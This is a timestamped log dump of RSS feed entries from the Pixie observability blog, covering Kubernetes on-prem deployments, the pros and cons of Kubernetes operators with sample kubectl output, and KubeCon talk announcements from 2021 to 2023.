6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In this post, we will discuss the following:</p><ol><li>The historical advantages and disadvantages to on-prem software deployments.</li><li>The ways Kubernetes makes it easier to deploy software to on-prem customer environments.</li><li>The remaining challenges with on-prem deployments that Kubernetes does not currently solve.</li></ol><h1>Introduction</h1><p>On-prem software deployments have gotten a bad rap, at least from the perspective of the vendors that build and support such software. This reputation has been largely justified. In comparison to their cloud-hosted/SaaS counterparts, on-prem products are generally much more difficult to deploy, manage, and maintain. That being said, there are strong benefits to on-prem deployments, or else no one would bother (more on those later).</p><p>Enter Kubernetes. Kubernetes has dramatically shifted the tradeoffs of on-prem versus SaaS deployments. Thanks to the rich abstractions that Kubernetes provides, deploying a software product to a customer's on-prem environment can be significantly easier than before. Because Kubernetes has achieved such <a href=https://www.cncf.io/wp-content/uploads/2020/11/CNCF_Survey_Report_2020.pdf>high market penetration</a> (and still growing), it is now a viable target environment for many B2B software products.</p><p>In response to this shift, companies such as <a href=https://www.okera.com>Okera</a>, <a href=https://about.sourcegraph.com>Sourcegraph</a> (self-hosted offering), and <a href=https://px.dev>Pixie Labs have</a> decided to deploy their products directly on customers' Kubernetes clusters, rather than in a hosted cloud/SaaS environment. At Pixie Labs, we predict that more B2B tools will move to support deploying on-prem to their customers' Kubernetes clusters, a mirror of the most recent shift where many applications moved from on-prem to SaaS.</p><h1>Where we were: The historical pros and cons of on-prem deployments</h1><h2>What is on-prem?</h2><p>First, let's quickly define "on-prem" because that can mean different things to different people. Some people define "on-prem" to be running on a bare metal server environment, with machines managed by the customer themselves. We take a broader definition, where "on-prem" refers to deploying directly on the customer's servers, wherever they may be.\n' +

6:35:43 AM: 'As long as it is running directly on a customer's environment rather than a hosted cloud, this includes all of the following:</p><ul><li>Bare metal servers (including air-gapped without external network connection)</li><li>Virtual private cloud</li><li>Managed cloud environment (such as ECS, GKE/AKS/EKS, etc)</li></ul><h2>Which applications should be considered for on-prem?</h2><p>Not all applications make sense to run on-prem in the first place. Some applications can live entirely in a vendor's hosted cloud and don't need to interact with a customer environment, such as a customer relationship management (CRM) product like Salesforce or JIRA. However, other types of applications may have heavy dependencies on the customer environment. For example, a log analytics tool will likely need to read a lot of data from a customer's production system. These types of tools are more likely to be a fit for an on-prem deployment. There are also business model reasons that will affect the decision, which are touched on below. However, the major emphasis is placed on the technical landscape shifts created by Kubernetes.</p><h2>Pros and cons of on-prem (summary)</h2><p>The table below summarizes the pros/cons we have historically seen for on-prem deployments. Each item gets more detail in the next section.</p><table><thead><tr><th>Pros</th><th>Cons</th></tr></thead><tbody><tr><td>Customer data privacy (data remains in their environment)</td><td>Heterogeneous customer environments create higher technical complexity</td></tr><tr><td>Customer pays hosting costs (enables shipping "free" software)</td><td>Limited vendor visibility into bugs, crashes, and other problems</td></tr><tr><td>Support for more environments, such as air-gapped environments in finance/government</td><td>Vendor does not control deployed version</td></tr><tr><td>Lower network utilization (no need to export customer data to a remote cloud)</td><td>Orchestration and self-healing logic must be built out</td></tr><tr><td>Increased customer control over system</td><td>Resource utilization of system must be carefully managed</td></tr></tbody></table><h2>Advantages of on-prem</h2><p>There are five major advantages to on-prem software deployments that we would like to highlight in this post.</p><h3>🟢 Customer data privacy</h3><p>Customers are becoming increasingly sensitive to their private data being shipped to remote clouds that they don't control. For certain types of highly sensitive data (logs, user information, etc), it can be tough to impossible to convince customers to take the risk of exporting that data outside their system.</p><h3>🟢 Customer pays hosting costs</h3><p>When an application runs on-prem and stores customer data on-prem, the software vendor doesn't need to pass on the hosting costs to the end user and can offer a free or cheaper plan than SaaS competitors. This is nearly mandatory for open source solutions, which can't afford to pay to host their entire user base.</p><h3>🟢 Support for more customer environments</h3><p>Many customer environments, especially in fields like finance or government, are air gapped (no external network connection). It isn't possible to connect those environments to a vendor's remote cloud so products requiring such a connection are dead on arrival from a sales perspective.</p><h3>🟢 Lower network utilization</h3><p>SaaS applications often ingest significant amounts of data from their customer's production environment. Exporting large amounts of data to a remote SaaS environment can put a significant burden on the network resources of the customer's production system.</p><h3>🟢 Increased customer control over the system</h3><p>Many customers strongly prefer the ability to control the applications that they purchase, and are frustrated when there is downtime of SaaS applications which they can't fix. When a product deploys on-prem, the customer has the ability to have much greater control over the system and address issues as they arise, rather than being at the mercy of the vendor.</p><h2>Historical disadvantages of on-prem</h2><p>Though there are significant advantages to on-prem deployments, they've come at a significant cost in the past, hence the shift to SaaS in many applications. Let's review some of the challenges of on-prem deployments, pre-Kubernetes.</p><h3>🔴 Heterogeneous customer environments create higher technical complexity</h3><p>When customer environments vary significantly, multiple parallel code paths must be built out for flows such as deployment, scale-up, updates, and error management. For example, binaries must be created for many different operating systems and environments. Additionally, there might be different network policies in a cluster, different resource amounts, and different endpoints/addresses for each of the nodes.</p><h3>🔴 Limited vendor visibility into bugs, crashes, and other problems</h3><p>In a SaaS offering, the vendor has easy access to logs, errors, crashes, etc, since they control the system. In a customer environment that vendor may have no idea that a problem is occuring in the first place. Usually, the customer must discover the problem for themselves and manually restart the system.</p><h3>🔴 Vendor does not control deployed version</h3><p>Many on-prem customers resist updating because "if it ain't broke, don't fix it". Since updating is usually controlled by the customer, vendors need to support a large number of versions of their product at any given time. In contrast, with SaaS, the vendor can control the running version to a small number of versions, or even a single version</p><h3>🔴 Orchestration and self-healing logic must be built out</h3><p>It's one thing to build a set of binaries for your application for each target OS that you want to support. It's another task altogether to deploy those binaries to many different customer nodes, and support new nodes coming online, old nodes disappearing, and fault tolerance in the case that the application encounters an error. Investing in this logic can eat up a large amount of the development budget, away from features, bug fixes, and other higher priority items.</p><h3>🔴 Resource utilization of product must be carefully managed</h3><p>Resource-intensive applications that need a lot of CPU or memory can impose a significant burden on their host system. Many of us have seen supposedly "lightweight" agents using 50% of CPU or memory on our production clusters, so resource utilization must be carefully managed, especially in sensitive environments.</p><h1>What changed: how Kubernetes makes on-prem deployments easier</h1><p>Kubernetes provides a powerful and rich set of abstractions across highly diverse customer environments. As a result, it is now significantly easier for developers to deploy their products on-prem directly on a customer Kubernetes cluster. Thanks to the high adoption of Kubernetes, this is'... 7793 more characters
}

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: '3 Reasons to Use Kubernetes Operators (and 2 Reasons Not To)',

6:35:43 AM: date: '2021-11-10',

6:35:43 AM: description: 'We recently switched Pixie to an operator-based deployment. In order to make this decision, we compiled reasons for why you should and…',

6:35:43 AM: url: 'https://blog.px.dev/k8s-operator/',

6:35:43 AM: guid: 'https://blog.px.dev/k8s-operator/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>We recently switched Pixie to an operator-based deployment. In order to make this decision, we compiled reasons for why you should and shouldn’t build an operator for your application.</p><h2>What is a Kubernetes Operator?</h2><p>A Kubernetes <a href=https://kubernetes.io/docs/concepts/extend-kubernetes/operator/>operator</a> is a controller for packaging, managing, and deploying applications on Kubernetes. In this model, the controller watches a custom resource (CR) which represents the configuration and state of a Kubernetes application. The controller is then responsible for reconciling the actual state of the application with its expected state. This controller loop principle can help automate scaling, upgrades, and recovery for the application.</p><div class=image-m><svg title=Operators allow you to manage complex applications by extending the Kubernetes control loop principle to an application defined in a custom resource definition (CRD). src=operator.png></svg></div><h2>Should you add an Operator?</h2><p>Whether or not you should use an operator depends on the specifics of your application, but here are some general points to consider:</p><h3>🟢 Simplification for the end user</h3><p>Abstracting your application into a single CRD helps users view your application as a single component rather than individual, separate parts (deployments/statefulsets/configmaps/etc). The operator can surface an overall system state, which reduces the cognitive load on users.</p><p>In Pixie’s case, users previously checked Pixie’s deploy status by viewing the pods:</p><pre><code class=language-bash>kubectl get pods -n pl\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'NAME READY STATUS RESTARTS AGE\n' +

6:35:43 AM: 'kelvin-5b7c8c4c5b-n7v5x 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'pl-etcd-0 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'pl-etcd-1 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'pl-etcd-2 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'pl-nats-0 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'vizier-certmgr-7bcbf9d4bd-r8h5s 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'vizier-cloud-connector-854f8bb487-d69kk 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'vizier-metadata-79f8764589-hmz59 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'vizier-pem-crg62 1/1 Running 12 2d20h\n' +

6:35:43 AM: 'vizier-pem-r2xsn 1/1 Running 4 2d20h\n' +

6:35:43 AM: 'vizier-proxy-f584dc9c8-4gb72 1/1 Running 0 2d20h\n' +

6:35:43 AM: 'vizier-query-broker-ddbc89b-wftbz 1/1 Running 0 2d20h\n' +

6:35:43 AM: '</code></pre><p>After the addition of the CRD, the entire state of the application can be summarized with one <code>kubectl\n' +

6:35:43 AM: 'describe vizier</code> command:</p><pre><code class=language-bash>kubectl describe vizier\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Status:\n' +

6:35:43 AM: ' Last Reconciliation Phase Time: 2021-11-05T22:30:56Z\n' +

6:35:43 AM: ' Reconciliation Phase: Ready\n' +

6:35:43 AM: ' Version: 0.9.11\n' +

6:35:43 AM: ' Vizier Phase: Healthy\n' +

6:35:43 AM: '</code></pre><h3>🟢 Cleanliness and consistency</h3><p>Configuration options live in one place (the CRD) rather than spread out across many configmaps. The values in the CRD can be viewed as the source of truth, and is the single place where users need to make their modifications when adjusting the config.</p><p>Pixie originally had four configmaps:</p><pre><code class=language-bash>pl-cloud-config\n' +

6:35:43 AM: 'pl-cloud-connector-tls-config\n' +

6:35:43 AM: 'pl-cluster-config\n' +

6:35:43 AM: 'pl-tls-config\n' +

6:35:43 AM: '</code></pre><p>These configMaps are now represented by a <a href=https://github.com/pixie-io/pixie/blob/main/k8s/operator/crd/base/px.dev_viziers.yaml>single CRD</a>.</p><h3>🟢 Auto-recovery</h3><p>The operator can monitor the overall state of the application and apply whatever changes necessary to get the application into a healthy state. This is especially beneficial for persistent systems, or applications that need to be highly available.</p><p>NATS is a major dependency of Pixie, and enables most of Pixie’s pod-to-pod communication. Occasionally we have seen the NATS instance fail, and require a redeploy to recover. The operator can monitor NATS’s status and redeploy when necessary without any action from the user.</p><h3>🔴 Loss of user control</h3><p>The operator is responsible for deploying K8s resources that are abstracted away from the user. However, many users prefer to know exactly what is deployed on their system. Since it is the operator’s responsibility to manage these resources, the operator may also unknowingly overwrite any manual user changes.</p><p>In Pixie’s case, the user deploys only the <a href=https://github.com/pixie-io/pixie/tree/main/k8s/operator>operator’s YAMLs</a> to get started. Pixie’s operator actually deploys <a href=https://github.com/pixie-io/pixie/tree/main/k8s/vizier>more resources</a> to their cluster, which are not included in these initial YAMLs.</p><h3>🔴 Maintenance burden</h3><p>The operator is an additional piece of code that needs to be maintained and updated, alongside with the actual application itself. The more powerful the operator, the more complex its logic. The operator may be responsible for keeping the application up-to-date, but what happens when <a href=https://olm.operatorframework.io/>the operator itself needs to be updated</a>?</p><p>Although the <a href=https://github.com/pixie-io/pixie/tree/main/src/operator>operator’s logic</a> is not nearly as complicated as Pixie’s actual application, it is still over 1000+ LOC.</p><h2>Conclusion</h2><p>Since Pixie is a complex application performance monitoring tool, we believed the benefits of running an operator-based deployment heavily outweighed the downsides. Feel free to check out the <a href=https://github.com/pixie-io/pixie/tree/main/src/operator>implementation of our operator</a> as an example.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Come meet us at Kubecon EU 2022',

6:35:43 AM: date: '2022-05-13',

6:35:43 AM: description: 'Pixie contributors will be attending this year’s KubeCon + CloudNativeCon Europe 2022 in person in Valencia, Spain and virtually! Come chat…',

6:35:43 AM: url: 'https://blog.px.dev/kubecon-eu-2022/',

6:35:43 AM: guid: 'https://blog.px.dev/kubecon-eu-2022/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><alert severity=info>Recordings of the KubeCon + CloudNativeCon talks are now live! Check out this <a href=https://youtube.com/playlist?list=PLwam28KvZfrSTr5at3blIdY5YKzS2T6W->YouTube playlist</a> to watch the Pixie contributor talks.</alert><p>Pixie contributors will be attending this year’s KubeCon + CloudNativeCon Europe 2022 in person in Valencia, Spain and virtually!</p><p>Come chat about open source observability for Kubernetes with Pixie’s core contributors at our booth in the Project Pavilion.</p><p>Pixie contributors will also be speaking at the following events:</p><ul><li><p><a href=https://sched.co/zrPc><strong>Bpftrace Meets Pixie: Dynamic Monitoring of K8s Clusters Unleashed</strong></a> (<a href=https://cloudnativeebpfdayeu22.sched.com/?iframe=no>eBPF Day</a> Monday, May 16, 2022 11:55 CEST)<br/><br/>\n' +

6:35:43 AM: 'Bpftrace is an essential tool for developers investigating the workings and performance of applications on Linux systems; Pixie is an eBPF-based observability platform for real-time troubleshooting of applications on Kubernetes. What if you could bring these two open-source projects together and combine the power of bpftrace with Pixie's approach to monitoring Kubernetes? This session presents Pixie's bpftrace integration and how it enables dynamic monitoring of Kubernetes clusters. This talk will show how Pixie can deploy a bpftrace program across all the nodes of your cluster, and make the collected data available for querying and visualization. Topics include (1) an overview of how the Pixie bpftrace integration works, (2) how to import existing bpftrace scripts (or write new ones) into Pixie, and (3) how to use the Pixie's query language to perform real-time debugging of Kubernetes applications. The talk will include a number of live demonstrations, including how bpftrace + Pixie can identify TCP issues, and even how to discover patterns of unauthorized bitcoin mining in your K8s cluster.</p></li><li><p><a href=https://sched.co/zsTa><strong>Lightning Talks: Detecting Data Exfiltration on the Edge with Pixie</strong></a> (<a href=https://cloudnativesecurityconeu22.sched.com/>SecurityCon</a> Monday, May 16, 2022 15:10 CEST)<br/><br/>\n' +

6:35:43 AM: 'Detecting data exfiltration in your Kubernetes cluster is important but hard. Capturing the right data, especially encrypted data, in order to perform the analysis can be a hassle. Additionally, it can be a non-starter to export sensitive requests outside of the cluster to perform this analysis. In this lightning talk, you’ll learn how Pixie (an open source, CNCF sandbox project), can be applied to attack this problem. Pixie’s auto-telemetry, in-cluster edge compute, and scriptability make it a powerful tool for anyone looking to identify data exfiltration attacks in their cluster. We’ll show a demo which will also be open source for attendees to reference later.</p></li><li><p><a href=https://sched.co/zdqe><strong>Virtual Project Office Hours</strong></a> (Wednesday May 18, 2022 13:30 CEST)<br/><br/>\n' +

6:35:43 AM: 'We're excited to meet everyone at our office hours! We welcome all questions about Pixie, whether they're questions about what Pixie is, or low-level questions about Pixie's internal workings.</p></li><li><p><a href=https://sched.co/ytmH><strong>Autoscaling Kubernetes Deployments: A (Mostly) Practical Guide</strong></a> (Wednesday, May 18, 2022 15:25 CEST)<br/><br/>\n' +

6:35:43 AM: 'Sizing a Kubernetes deployment can be tricky. How many pods should it have? How much CPU/memory is needed per pod? Is it better to use a small number of large pods or a large number of small pods? What’s the best way to ensure stable performance when the load on the application changes over time? Luckily for anyone asking these questions, Kubernetes provides rich, flexible options for autoscaling deployments. This session will cover the following topics: (1) Factors to consider when sizing your Kubernetes application (2) Horizontal vs Vertical autoscaling (3) How, when, and why to use the Kubernetes custom metrics API. It will also include a practical demo (autoscaling an application with various custom metrics) and an impractical demo (a Turing-complete autoscaler)!</p></li><li><p><a href=https://sched.co/ytpE><strong>Reproducing Production Issues in your CI Pipeline Using eBPF</strong></a> (Thursday, May 19, 2022 14:30 CEST) <br/><br/>\n' +

6:35:43 AM: 'Observing production workloads with enough detail to find real problems is difficult, but it's getting easier with the community adoption of eBPF. As the technology becomes better understood, tools like Falco, Cilium and Pixie are increasingly appearing in production clusters. But have you ever considered using eBPF data to help with unit tests, Continuous Integration and load testing? This talk will explain the basic technology behind eBPF while presenting some examples of how to use data collected via eBPF for a variety of software quality use cases. We'll use the Pixie CNCF sandbox project to pull data and replicate production issues on the developer desktop for debugging. You'll also get some ideas on using those calls in your Continuous Integration pipeline to sanity check builds before they are deployed. Included in that discussion will be handling some common issues like timestamp skew and authentication. All examples are open source and available after the talk.</p></li></ul><p>Here are some of the events we'll be attending. We hope to see you at them, along with the many other exciting talks at Kubecon!</p><p><strong>Wednesday, May 18</strong></p><ul><li>11:00 CEST: <a href=https://sched.co/ytl1>Fluent Bit: Logs, OpenMetrics, and OpenTelemetry all-in-one</a> - Eduardo Silva & Anurag Gupta (Calyptia)</li><li>11:00 CEST: <a href=https://sched.co/ytkj>Intro to Kubernetes, GitOps, and Observability Hands-On Tutorial</a> - Joaquin Rodriguez (Microsoft), Tiffany Wang (Weaveworks)</li></ul><p><strong>Thursday, May 19</strong></p><ul><li>11:55 CEST: <a href=https://sched.co/ytob>OpenTelemetry: The Vision, Reality, and How to Get Started</a> - Dotan Horovits (Logz.io)</li><li>14:30 CEST: <a href=https://sched.co/ytpW>Prometheus Intro and Deep Dive</a> - Julius Volz (PromLabs), Björn Rabenstein (Grafana Labs), Julien Pivotto (Inuits), Matthias Rampke (SoundCloud)</li></ul><p><strong>Friday, May 20</strong></p><ul><li>14:55 CEST: <a href=https://sched.co/ytt3>Build a Cloud Native Logging Pipeline on the Edge with Fluentbit Operator</a> - Feynman Zhou (QingCloud)</li><li>16:00 CEST: <a href=https://sched.co/yttj>A Guided Tour of Cilium Service Mesh</a> - Liz Rice (Isovalent)</li></ul>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Come meet us at Kubecon EU 2023',

6:35:43 AM: date: '2023-03-28',

6:35:43 AM: description: 'Pixie contributors will be attending this year’s KubeCon + CloudNativeCon Europe 2023 in person in Amsterdam, The Netherlands! Come chat…',

6:35:43 AM: url: 'https://blog.px.dev/kubecon-eu-2023/',

6:35:43 AM: guid: 'https://blog.px.dev/kubecon-eu-2023/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Pixie contributors will be attending this year’s KubeCon + CloudNativeCon Europe 2023 in person in Amsterdam, The Netherlands!</p><p>Come chat about open source observability for Kubernetes with Pixie’s core contributors at our booth in the Project Pavilion.</p><p>Pixie contributors will also be speaking at the following events:</p><ul><li><p><a href=https://sched.co/1JWUd><strong>Pixie Project Meeting</strong></a> (Tuesday April 18, 2023 11:00 CEST)<br/><br/>\n' +

6:35:43 AM: 'We're excited to meet everyone at our office hours! We welcome all questions about Pixie, whether they're questions about what Pixie is, or low-level questions about Pixie's internal workings.</p></li><li><p><a href=https://sched.co/1Hyak><strong>Past, Present, and Future of eBPF in Cloud Native Observability</strong></a> Wednesday, April 19, 2023 11:55 CEST)<br/><br/>\n' +

6:35:43 AM: 'eBPF has long been promising in the cloud native ecosystem but has evolved significantly over the years. This talk will start off with a brief history of the past and how eBPF has developed to be what it is today. This leads us to the current state of things in the present space of observability. Next, we will outline how eBPF is safely used in a variety of open source, apache2 licensed, projects from Cilium Hubble, Pixie, to Parca, and others. Here we will also take a look at a simple demo on eBPF and how this can be run on a Kubernetes cluster and what we can find about that cluster just by using eBPF data. The last portion of the talk will discuss the future of observability using eBPF and where Frederic and Natalie think it will develop, which among other things will include how eBPF will enable correlation between different signals such as connecting distributed tracing with profiling data.</p></li><li><p><a href=https://sched.co/1HyeB><strong>Tutorial: Building an Open Source Observability Stack</strong></a> (Friday, April 21, 2023 14:00 CEST)<br/><br/>\n' +

6:35:43 AM: 'This tutorial offers attendees a quick way to experience open source observability for Kubernetes. The three basic pillars of observability are metrics, logs and traces. In the past, instrumenting an application to provide these signals could be a multi-month initiative. However, the latest and greatest in CNCF projects have taken this slog down to minutes. In this hands-on introduction to the FOP stack (Fluentbit, OpenTelemetry, Prometheus), we’ll show you how to go from zero observability to deep coverage in minutes. Next, we’ll dive into how you can utilize the OpenTelemetry format to analyze these diverse telemetry sources together when debugging incidents. Finally, we’ll go beyond metrics, traces and logs by adding Pixie to our (now) FOPP stack, and show how you can use progressive instrumentation to collect application profiles, kernel events, and even function tracing without any redeploys.</p></li></ul><p>Here are some of the events we'll be attending. We hope to see you at them, along with the many other exciting talks at Kubecon!</p><p><strong>Wednesday, April 19</strong></p><ul><li>11:00 CEST: <a href=https://sched.co/1HyaD>It Is More Than Just Correlation - A Debug Journey</a> - Simon Pasuqier & Vanessa Martini (Red Hat)</li><li>14:30 CEST: <a href=https://sched.co/1Hyb2>Understand Systems with OpenTelemetry: A Hybrid Telemetry Data Backend</a> - Ran Xu, Huawei & Xiaochun Yang (Northeastern University)</li><li>17:25 CEST: <a href=https://sched.co/1Ipz2>Defining A Common Observability Query Language and Other Observability TAG Updates</a> - Alolita Sharma & Matt Young (Apple)</li><li>17:25 CEST: <a href=https://sched.co/1HyZd>Life Without Sidecars - Is eBPF's Promise Too Good to Be True?</a> - Zahari Dichev (Buoyant)</li><li>17:25 CEST: <a href=https://sched.co/1HydJ>Making Sense of Your Vital Signals: The Future of Pod and Containers Monitoring</a> - David Porter (Google), Peter Hunt (Red Hat)</li><li>17:25 CEST: <a href=https://sched.co/1Hya1>OTel Me About Metrics: A Metrics 101 Crash Course</a> - Reese Lee (New Relic)</li></ul><p><strong>Thursday, April 20</strong></p><ul><li>11:55 CEST: <a href=https://sched.co/1HyWv>Kubernetes Defensive Monitoring with Prometheus</a> - David de Torres Huerta & Mirco De Zorzi (Sysdig)</li></ul><p><strong>Friday, April 21</strong></p><ul><li>11:55 CEST: <a href=https://sched.co/1Hybi>The Next Log4jshell?! Preparing for CVEs with eBPF!</a> - Natalia Reka Ivanko & John Fastabend (Isovalent)</li><li>11:55 CEST: <a href=https://sched.co/1HyX4>Least Privilege Containers: Keeping a Bad Day from Getting Worse</a> - Greg Castle & Vinayak Goyal (Google)</li></ul>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Come meet us at Kubecon NA 2022',

6:35:43 AM: date: '2022-10-18',

6:35:43 AM: description: 'Pixie contributors will be attending this year’s KubeCon + CloudNativeCon North America 2022 in Detroit, Michigan! Come chat about open…',

6:35:43 AM: url: 'https://blog.px.dev/kubecon-na-2022/',

6:35:43 AM: guid: 'https://blog.px.dev/kubecon-na-2022/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Pixie contributors will be attending this year’s <a href=https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/>KubeCon + CloudNativeCon North America 2022</a> in Detroit, Michigan!</p><p>Come chat about open source observability for Kubernetes with Pixie’s core contributors at our booth in the <a href=https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/program/project-engagement/#project-pavilion>Project Pavilion</a>.</p><p>Pixie contributors will also be speaking at the following events:</p><ul><li><a href=https://sched.co/1Auyh><strong>OpenTelemetry or eBPF? That is the Question</strong></a> (<a href=https://events.linuxfoundation.org/cloud-native-ebpf-day-north-america/>eBPF Day</a> - Monday, October 24, 2022 9:25 AM EDT)<br/><br/><em>In the observability space, OpenTelemetry and eBPF are two technologies that have been rapidly changing the landscape. So which should you use? In this session, we'll cover the strengths and weaknesses of both approaches, and show how both approaches have a role to play.</em></li><li><a href=https://sched.co/1Auyk><strong>Exposing the Revolution: GRPC Observability with eBPF on K8s</strong></a> (<a href=https://events.linuxfoundation.org/cloud-native-ebpf-day-north-america/>eBPF Day</a> - Monday, October 24, 2022 9:55 AM EDT)<br/><br/><em>gRPC, the most widely-used protocol to transfer data between containers, is difficult to monitor, when compared to more modern methods using eBPF. Join a journey through an eBPF solution that monitors the gRPC library used in python, C++, C#, PHP, & more.</em></li><li><a href=https://sched.co/1Auyt><strong>Tracing SSL/TLS Encrypted Microservices with eBPF</strong></a> (<a href=https://events.linuxfoundation.org/cloud-native-ebpf-day-north-america/>eBPF Day</a> - Monday, October 24, 2022 11:15 AM EDT)<br/><br/><em>SSL/TLS adoption in the Cloud Native environments is growing rapidly. While great for security, the encryption in such environments pose a unique challenge for observability tools. Many traffic sniffing tools can only collect the encrypted data, which is of limited value to the application developer. In this talk, we present how eBPF can be used to trace SSL/TLS connections so that application developers can see important debugging attributes like the operation, endpoint and payload.</em></li><li><a href=https://sched.co/182IS><strong>When the Logs Just Don’t Cut It: Root-Causing Incidents Without Re-Deploying Prod</strong></a> (Friday, October 28, 2022 2:00 PM EDT) <br/><br/><em>We’ve all been there: your pod is crash-looping, you check the logs and you realize you forgot to log something important - now you’re unable to figure out what went wrong. You try to reproduce the problem locally with no luck: it only seems to happen in production. What do you do? In this talk, I’ll show you how to magically collect this data using bpftrace. Bpftrace lets you capture lots of useful data (function arguments, return values, latencies of individual functions - just to name a few) without re-deploying pods.</em></li></ul><p>Here are some of the events we'll be attending. We hope to see you at them, along with the many other exciting talks at Kubecon!</p><p><strong>Wednesday, October 26</strong></p><ul><li>11:55 AM EDT: <a href=https://sched.co/182HU>Resize Your Pods In-Place With Deterministic eBPF Triggers</a> - Pablo Chico de Guzman (Okteto), Vinay Kulkarni (Futurewei Technologies)</li><li>2:30 PM EDT: <a href=https://sched.co/182DK>Kubernet-Bees: How Bees Solve Problems Of Distributed Systems</a> - Simon Emms & Christian Weichel (Gitpod)</li><li>4:30 PM EDT: <a href=https://sched.co/182NO>Fluent Bit V2.0: Unifying Open Standards For Logs, Metrics & Traces</a> - Eduardo Silva & Anurag Gupta (Calyptia)</li></ul><p><strong>Thursday, October 27</strong></p><ul><li>11:55 AM EDT: <a href=https://sched.co/182Nv>Edge-Native Application Principles: Taking Your App Beyond the Cloud</a> - Kate Goldenring (Fermyon), Amar Kapadia (Aarna Networks)</li><li>2:30 PM EDT: <a href=https://sched.co/182Gx>Edge-Native: The New Paradigm For Operating And Developing Edge Apps</a> - Frank Brockners (Cisco)</li></ul><p><strong>Friday, October 28</strong></p><ul><li>11:00 AM EDT: <a href=https://sched.co/182Dx>How Adobe Planned For Scale With Argo CD, Cluster API, And VCluster</a> - Joseph Sandoval (Adobe) & Dan Garfield (Codefresh)</li><li>11:00 AM EDT: <a href=https://sched.co/182P2>SIG-Multicluster Intro And Deep Dive</a> - Jeremy Olmsted-Thompson & Laura Lorenz (Google), Paul Morie (Apple)</li><li>11:00 AM EDT: <a href=https://sched.co/1Bvui>cert-manager - Past, Present and Future</a> - Jake Sanders, cert-manager Maintainer & Ashley Davis (Jetstack)</li><li>2:00 PM EDT: <a href=https://sched.co/182Ep>Dynamically Testing Individual Microservice Releases In Production</a> - Matt Turner (Tetrate)</li><li>4:00 PM EDT: <a href=https://sched.co/182Pl>SIG Autoscaling Updates And Feature Highlights</a> - Marcin Wielgus & Jayant Jain (Google), Diego Bonfigli (Sysdig)</li></ul>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Come meet us at Kubecon NA 2021',

6:35:43 AM: date: '2021-10-12',

6:35:43 AM: description: Pixie will be attending this year's Kubecon + Cloud NativeCon NA in Los Angeles and Virtually! Pixie was accepted to CNCF’s Sandbox in June…,

6:35:43 AM: url: 'https://blog.px.dev/kubecon-na-2021/',

6:35:43 AM: guid: 'https://blog.px.dev/kubecon-na-2021/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

